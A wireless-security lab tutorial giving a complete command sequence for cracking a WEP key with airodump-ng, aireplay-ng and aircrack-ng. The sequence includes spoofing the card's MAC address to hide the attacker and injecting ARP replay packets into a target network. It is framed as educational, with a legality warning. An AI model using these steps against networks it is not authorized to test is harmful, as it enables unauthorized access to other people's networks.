Lab Section: Wireless Security

Lab Title: Crack WEP using Blacktrack3.0 live CD

Purpose:

1. Understand how WEP works.
2. Understand the method of cracking WEP
3. **Warning**: It is illegal to crack other peoples' wireless connection without their permission. this tutorial is for educational purposes only

Preparation:

1. Check if your wireless card is supported by Blacktrack: http://backtrack.offensive-security.com/index.php?title=HCL:Wireless
2. Detect, sniff, inject wireless network
3. Always can use "man <command>" to get the description of the command.

Tools:

1. airmon-ng: change the wireless card into monitor mode.
2. ifconfig: configure a card
3. iwconfig: configure a wireless card
4. macchanger: change the mac address of a networking card
5. airodump-ng: capture packets
6. aireplay-ng: generate traffic by injecting ARP-request packets into a wireless network.
7. commview for wifi: (optional) generate traffic.

Procedure:

1. Get the target AP's information (BSSID, ESSID, channel etc.)

Open a terminal window.

cd /tmp

iwconfig

-- Show and get the wireless device name.

airodump-ng <device>

-- Once you get the information, press crtl+c to stop the capture, then copy and paste the target AP's information to a notepad.

2. Change the wireless card's MAC address

macchanger –s rausb0

-- Show the wireless card's MAC address

airmon-ng stop <device>

-- turn wireless card into manage mode.

ifconfig <device> down

-- Turn off the wireless card; otherwise you can not change the MAC address.

macchanger –a rausb0

-- Change the MAC of the wireless card to a faked MAC. An attacker always wants to hide himself. This is a necessary step for attack purpose.

ifconfig <device> up

-- Turn on the wireless card.

3. Change the wireless card into monitor mode

airmon-ng start <device>

-- Enable the monitor mode

iwconfig

-- Make sure the wireless card is in the Monitor mode.

4. Capture packets:

airodump-ng –c <channel> –w <file name> –-bssid <AP's bssid> --ivs <device>

-- To understand the parameter's meaning, type "airodump --help" or "man airodump". Leave this window opened

5. Associate the wireless card with the target AP:

Open a new terminal window

aireplay-ng -1 0 -e <essid> -a <bssid> -h <wireless card's MAC> <device>

-- To understand the parameter's meaning, type "aireplay --help" or "man aireplay".

6. Generate traffics:

aireplay-ng -3 –b <bssid> –h <wireless card's MAC address> <device>

-- To understand the parameter's meaning, type "aireplay --help" or "man aireplay". Leave this window opened. Additionally, you can use commview for wifi to generate traffics to increase the crack process.

7. Crack the password:

Open a new terminal window

cd /tmp

aircrack-ng –b <bssid> *.ivs

****

1. For more information, please visit my blog http://jhuang8.blogspot.com/.
2. Video demo is located in http://www.valit.ca/lab/.